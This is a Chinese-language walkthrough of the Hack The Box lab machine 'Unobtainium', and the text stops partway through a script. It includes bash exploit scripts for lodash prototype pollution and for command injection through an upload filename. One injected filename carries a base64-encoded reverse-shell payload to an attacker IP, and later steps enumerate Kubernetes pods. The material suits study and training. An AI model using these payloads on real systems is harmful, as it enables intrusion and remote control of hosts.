Hackthebox - Unobtainium

Hackthebox - Unobtainium 靶场实战

靶场信息

靶场类型

信息搜集 首先使用nmap进行端口扫描

┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV -p- 10.10.10.235
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-15 22:08 CST
Nmap scan report for 10.10.10.235
Host is up (0.27s latency).
Not shown: 65527 closed ports
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http             Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-01-17T07:10:30
|_Not valid after:  2022-01-17T07:10:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
8443/tcp  open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 15 Jul 2021 14:50:44 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 15 Jul 2021 14:50:42 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Thu, 15 Jul 2021 14:50:43 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-07-14T05:10:38
|_Not valid after:  2022-07-15T05:10:38
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Not valid before: 2021-01-17T05:37:08
|_Not valid after:  2022-01-17T05:37:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open  http             Node.js Express framework
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=7/15%Time=60F04857%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,1FF,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nX-Content-
SF:Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x203082aa7f
SF:-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c
SF:4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Thu,\x2015\x20Jul\x2020
SF:21\x2014:50:42\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Stat
SF:us\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"mes
SF:sage\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20ge
SF:t\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code
SF:\":403}\n")%r(HTTPOptions,203,"HTTP/1\.0\x20403\x20Forbidden\r\nCache-C
SF:ontrol:\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\
SF:nX-Content-Type-Options:\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\
SF:x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kubernetes-Pf-Priorityleve
SF:l-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\nDate:\x20Thu,\x2015\x
SF:20Jul\x202021\x2014:50:43\x20GMT\r\nContent-Length:\x20189\r\n\r\n{\"ki
SF:nd\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fail
SF:ure\",\"message\":\"forbidden:\x20User\x20\\\"system:anonymous\\\"\x20c
SF:annot\x20options\x20path\x20\\\"/\\\"\",\"reason\":\"Forbidden\",\"deta
SF:ils\":{},\"code\":403}\n")%r(FourOhFourRequest,21A,"HTTP/1\.0\x20403\x2
SF:0Forbidden\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x
SF:20application/json\r\nX-Content-Type-Options:\x20nosniff\r\nX-Kubernete
SF:s-Pf-Flowschema-Uid:\x203082aa7f-e4b1-444a-a726-829587cd9e39\r\nX-Kuber
SF:netes-Pf-Prioritylevel-Uid:\x20c4131e14-5fda-4a46-8349-09ccbed9efdd\r\n
SF:Date:\x20Thu,\x2015\x20Jul\x202021\x2014:50:44\x20GMT\r\nContent-Length
SF::\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\"
SF::{},\"status\":\"Failure\",\"message\":\"forbidden:\x20User\x20\\\"syst
SF:em:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice\x20ports,/Trinit
SF:y\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}
SF:\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/15%OT=22%CT=1%CU=43753%PV=Y%DS=2%DC=T%G=Y%TM=60F048D
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT       ADDRESS
1   271.92 ms 10.10.14.1
2   271.99 ms 10.10.10.235

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1914.83 seconds

从上面的扫描结果,我们可以得到几个关键信息 - 本台靶机开启了2280237923808443102501025631337端口 - 其中80237923808443102501025631337都是http服务 - 8443端口给出了两个关键信息 /nice /Trinity.txt.bak - 31337端口存在PUTDELETE风险

咱们先去80端口看看

http://10.10.10.235/

它声称这是一个聊天程序,并给了三个下载地址,咱们给它下载下来,同时FUZZ一下目录

┌──(root💀root)-[~/Desktop]
└─# gobuster dir -u http://10.10.10.235 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 200
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.235
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2021/07/16 16:33:21 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php        (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd.html       (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.htaccess.html       (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.hta.html            (Status: 403) [Size: 277]
/LICENSE.txt          (Status: 200) [Size: 17128]
/README.txt           (Status: 200) [Size: 711]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.235/assets/]
/downloads            (Status: 301) [Size: 316] [--> http://10.10.10.235/downloads/]
/index.html           (Status: 200) [Size: 1988]
/index.html           (Status: 200) [Size: 1988]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.235/images/]
/server-status        (Status: 403) [Size: 277]

===============================================================
2021/07/16 16:33:58 Finished
===============================================================

当fuzz完的时候,三个文件也下载完了,咱们去看一下

┌──(root💀root)-[~/Downloads]
└─# ls
unobtainium_debian.zip  unobtainium_redhat.zip  unobtainium_snap.zip

让我们提取deb包中的文件,而不安装它

mkdir test
unzip unobtainium_debian.zip
dpkg-deb -xv unobtainium_1.0.0_amd64.deb test
cd test
┌──(root💀root)-[~/Downloads/test]
└─# tree
.
├── opt
│   └── unobtainium
│       ├── chrome_100_percent.pak
│       ├── chrome_200_percent.pak
│       ├── chrome-sandbox
│       ├── icudtl.dat
│       ├── libEGL.so
│       ├── libffmpeg.so
│       ├── libGLESv2.so
│       ├── libvk_swiftshader.so
│       ├── libvulkan.so
│       ├── LICENSE.electron.txt
│       ├── LICENSES.chromium.html
│       ├── locales
│       │   ├── am.pak
│       │   ├── ar.pak
│       │   ├── bg.pak
│       │   ├── bn.pak
│       │   ├── ca.pak
│       │   ├── cs.pak
│       │   ├── da.pak
│       │   ├── de.pak
│       │   ├── el.pak
│       │   ├── en-GB.pak
│       │   ├── en-US.pak
│       │   ├── es-419.pak
│       │   ├── es.pak
│       │   ├── et.pak
│       │   ├── fa.pak
│       │   ├── fil.pak
│       │   ├── fi.pak
│       │   ├── fr.pak
│       │   ├── gu.pak
│       │   ├── he.pak
│       │   ├── hi.pak
│       │   ├── hr.pak
│       │   ├── hu.pak
│       │   ├── id.pak
│       │   ├── it.pak
│       │   ├── ja.pak
│       │   ├── kn.pak
│       │   ├── ko.pak
│       │   ├── lt.pak
│       │   ├── lv.pak
│       │   ├── ml.pak
│       │   ├── mr.pak
│       │   ├── ms.pak
│       │   ├── nb.pak
│       │   ├── nl.pak
│       │   ├── pl.pak
│       │   ├── pt-BR.pak
│       │   ├── pt-PT.pak
│       │   ├── ro.pak
│       │   ├── ru.pak
│       │   ├── sk.pak
│       │   ├── sl.pak
│       │   ├── sr.pak
│       │   ├── sv.pak
│       │   ├── sw.pak
│       │   ├── ta.pak
│       │   ├── te.pak
│       │   ├── th.pak
│       │   ├── tr.pak
│       │   ├── uk.pak
│       │   ├── vi.pak
│       │   ├── zh-CN.pak
│       │   └── zh-TW.pak
│       ├── resources
│       │   └── app.asar
│       ├── resources.pak
│       ├── snapshot_blob.bin
│       ├── swiftshader
│       │   ├── libEGL.so
│       │   └── libGLESv2.so
│       ├── unobtainium
│       ├── v8_context_snapshot.bin
│       └── vk_swiftshader_icd.json
└── usr
    └── share
        ├── applications
        │   └── unobtainium.desktop
        ├── doc
        │   └── unobtainium
        │       └── changelog.gz
        └── icons
            └── hicolor
                ├── 128x128
                │   └── apps
                │       └── unobtainium.png
                ├── 16x16
                │   └── apps
                │       └── unobtainium.png
                ├── 256x256
                │   └── apps
                │       └── unobtainium.png
                ├── 32x32
                │   └── apps
                │       └── unobtainium.png
                ├── 48x48
                │   └── apps
                │       └── unobtainium.png
                └── 64x64
                    └── apps
                        └── unobtainium.png

24 directories, 80 files

/test/opt/unobtainium中,有一个名为unobtainium的可执行文件,让我们执行它

./unobtainium --no-sandbox

得到了错误

让我们添加一下域名

echo 10.10.10.235 unobtainium.htb >> /etc/hosts

然后再执行一次

这次运行正常了

当我使用Wireshark监听tun0的时候,在Unobtainium Chat中点击Todo即可捕捉到流量包

POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 293
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
Date: Fri, 16 Jul 2021 09:49:16 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}

似乎Todo函数具有从服务器读取文件的能力。

我找到一个脚本来检查是否可以从服务器读取文件。

我还运行了Burp来捕获请求 ## 漏洞利用 在运行脚本之前,我们需要安装需要的环境

apt-get install jq
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

CONTENT="$(curl -s \
                -A "${UA}" \
                -H "Content-Type: application/json" \
                -d "$(cat message.json | jq -c)" \
                -x "${PROXY}" \
                http://${RHOST}:${RPORT}/todo \
           | jq .content \
           | sed -e 's/^.//' -e 's/.$//')"

printf "$CONTENT"
┌──(root💀root)-[~/Desktop]
└─# ./read.sh

┌──(root💀root)-[~/Desktop]
└─# cat message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":""
}

咱们使用burp捕捉一下流量试试

成功让我们查看一下

index.js

的内容

{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");     \nconst bodyParser = require('body-parser');     \nconst _ = require('lodash');                                                                  \nconst app = express();\nvar fs = require('fs');\n                                                                                              \nconst users = [                                                                               \n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},      \n];\n\nlet messages = [];                             \nlet lastId = 1;                                \n                                                                                              \nfunction findUser(auth) {                                                                     \n  return users.find((u) =>                                                                    \n    u.name === auth.name &&                                                                   \n    u.password === auth.password);                                                            \n}                                    \n                                               \napp.use(bodyParser.json());                                                                   \n                                               \napp.get('/', (req, res) => {                   \n  res.send(messages);                                                                         \n});                                                                                           \n                                                                                              \napp.put('/', (req, res) => {   \n  const user = findUser(req.body.auth || {});                                                 \n                                               \n  if (!user) {                                 \n    res.status(403).send({ok: false, error: 'Access denied'});                                \n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n\tconst user = findUser(req.body.auth || {});\n\tif (!user) {\n\t\tres.status(403).send({ok: false, error: 'Access denied'});\n\t\treturn;\n\t}\n\n\tfilename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}

这个格式是真的糟糕,为了方便阅读,我们给它美化一下

var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
 {name: 'felamos', password: 'Winter2021'},
 {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
 return users.find((u) =>
 u.name === auth.name &&
 u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
 res.send(messages);
});

app.put('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 const message = {
 icon: '__',
 };

 _.merge(message, req.body.message, {
 id: lastId++,
 timestamp: Date.now(),
 userName: user.name,
 });

 messages.push(message);
 res.send({ok: true});
});

app.delete('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user || !user.canDelete) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 messages = messages.filter((m) => m.id !== req.body.messageId);
 res.send({ok: true});
});
app.post('/upload', (req, res) => {
 const user = findUser(req.body.auth || {});
 if (!user || !user.canUpload) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 filename = req.body.filename;
 root.upload("./",filename, true);
 res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
 testFolder = "/usr/src/app";
 fs.readdirSync(testFolder).forEach(file => {
 if (file.indexOf(filename) > -1) {
 var buffer = fs.readFileSync(filename).toString();
 res.send({ok: true, content: buffer});
 }
 });
});

app.listen(3000);
console.log('Listening on port 3000...');

我们读取文件package.json,得到了

{"ok":true,"content":"{\n  \"name\": \"Unobtainium-Server\",\n  \"version\": \"1.0.0\",\n  \"description\": \"API Service for Electron client\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"node index.js\"\n  },\n  \"author\": \"felamos\",\n  \"license\": \"ISC\",\n  \"dependencies\": {\n    \"body-parser\": \"1.18.3\",\n    \"express\": \"4.16.4\",\n    \"lodash\": \"4.17.4\",\n    \"google-cloudstorage-commands\": \"0.0.1\"\n  },\n  \"devDependencies\": {}\n}\n"}

我们美化一下

{
  "name": "Unobtainium-Server",
  "version": "1.0.0",
  "description": "API Service for Electron client",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "felamos",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.18.3",
    "express": "4.16.4",
    "lodash": "4.17.4",
    "google-cloudstorage-commands": "0.0.1"
  },
  "devDependencies": {}
}

Lodashhttps://snyk.io/vuln/SNYK-JS-LODASH-73638

google-cloudstorage-commandshttps://snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

从上面的帮助文档,我发现可以命令注入

#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .
(root💀root)-[~/Desktop]
└─# ./exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
  "ok": true
}

成功

这个成功的响应意味着我们真的可以利用这个漏洞,让我们运行脚本2检查是否可以写入文件

#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE="& echo lucifiel | tee lucifiel.txt"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"
┌──(root💀root)-[~/Desktop]
└─# ./exploit2.sh

运行成功,让我们读取

lucifiel.txt

试试是否写入成功

写入成功,现在我们来利用这个漏洞getshell

首先使用nc监听一个端口

nc -nvlp 4444
POST /upload HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 151

Connection: close

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/10.10.14.53/4444 0>&1' | base64) | base64 -d | bash"}

执行后,成功获得一个shell

┌──(root💀root)-[~/Downloads]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.235] 58362
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-5d764566f4-mbprj:/usr/src/app# whoami && id
whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@webapp-deployment-5d764566f4-mbprj:/usr/src/app#
root@webapp-deployment-5d764566f4-mbprj:~# cd /root
cd /root
root@webapp-deployment-5d764566f4-mbprj:~# ls
ls
user.txt
root@webapp-deployment-5d764566f4-mbprj:~# cat user.txt
cat user.txt
7ff2ddd449da8a15c66289e2ec015cd9

成功拿到user权限的flag ## 权限提升 我们可以看到,这里的root是在一个docker容器里

因为没啥思路,让我们先跑一下linpeas吧

https://github.com/LucifielHack/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

使用python3在本地开启一个http服务

python3 -m http.server

然后在shell中使用wget进行下载

wget http://10.10.14.53:8000/linpeas.sh

然后添加权限后运行

chmod +x linpeas.sh
./linpeas.sh

在结果中看到了一句

* * * * * find / -name kubectl -exec rm {} \;
* * * * * find / -name kubectl -exec rm {} \;

有一个cronjob正在运行,每分钟删除容器中的kubectl

但是容器中没有kubectl可执行文件

让我们下载一个kubectl可执行文件并将其传输到/tmp文件夹内的docker

https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux

在Linux上使用curl安装kubectl二进制文件

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server 80

然后在shell中使用wget进行下载

wget http://10.10.14.53/kubectl -o /tmp/kubectl-lucifiel
cd /tmp/
chmod +x kubectl-lucifiel

更改一个名字避免被cronjob给删掉

首先让我们检查一下kubectl

./kubectl-lucifiel get namespace
./kubectl-lucifiel get pods -n dev
./kubectl-lucifiel describe pod devnode-deployment-cd86fb5c-6ms8d -n dev
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./kubectl-lucifiel get namespace
<4566f4-h5zhw:/tmp# ./kubectl-lucifiel get namespace
NAME              STATUS   AGE
default           Active   180d
dev               Active   179d
kube-node-lease   Active   180d
kube-public       Active   180d
kube-system       Active   180d
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./kubectl-lucifiel get pods -n dev
<66f4-h5zhw:/tmp# ./kubectl-lucifiel get pods -n dev
NAME                                READY   STATUS    RESTARTS   AGE
devnode-deployment-cd86fb5c-6ms8d   1/1     Running   28         179d
devnode-deployment-cd86fb5c-mvrfz   1/1     Running   29         179d
devnode-deployment-cd86fb5c-qlxww   1/1     Running   29         179d
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./kubectl-lucifiel describe pod devnode-deployment-cd86fb5c-6ms8d -n dev
<scribe pod devnode-deployment-cd86fb5c-6ms8d -n dev
Name:         devnode-deployment-cd86fb5c-6ms8d
Namespace:    dev
Priority:     0
Node:         unobtainium/10.10.10.235
Start Time:   Sun, 17 Jan 2021 18:16:21 +0000
Labels:       app=devnode
              pod-template-hash=cd86fb5c
Annotations:  <none>
Status:       Running
IP:           172.17.0.8
IPs:
  IP:           172.17.0.8
Controlled By:  ReplicaSet/devnode-deployment-cd86fb5c
Containers:
  devnode:
    Container ID:   docker://c22604a2e5d200e2d08b41724e76633954e82ba9d5f4ab201207860f9dc9b91f
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Fri, 16 Jul 2021 05:11:42 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Wed, 24 Mar 2021 16:01:28 +0000
      Finished:     Wed, 24 Mar 2021 16:02:13 +0000
    Ready:          True
    Restart Count:  28
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-rmcd6:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-rmcd6
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>

利用方法和前面一样,稍微修改一下脚本

#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
